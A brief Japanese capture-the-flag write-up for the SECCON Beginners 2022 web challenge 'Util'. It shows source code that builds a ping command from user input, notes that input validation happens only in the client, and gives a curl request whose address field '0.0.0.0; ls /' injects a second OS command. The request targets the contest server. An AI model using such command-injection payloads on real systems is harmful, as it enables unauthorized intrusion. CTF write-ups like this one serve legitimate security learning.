SECCON Begginers 2022 writeup
SECCON Begginers 2022 に会社の同期と greenapple として出場しました。Web を全巻できなかったのが悔しい… web Util ctf4b networks 社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも…? (注意) SECCON Beginners 運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。 commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" 提供されているソースコードを見てみると、上記のように OS command Injection が可能であることがわかる。 if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) 入力内容のチェック自体はクライアントのみで行われていたので、curl で送信すれば良さそう。 curl 'https://util.quals.beginners.seccon.jp/util/ping' -X POST -H 'Content-Type: application/json' -d '{"address": "0.0.0.0; ls /"}' # {"result":"PING 0.0.0.0 (0.0.0.0): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.150 ms\n\n--- 0.0.0.0 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0....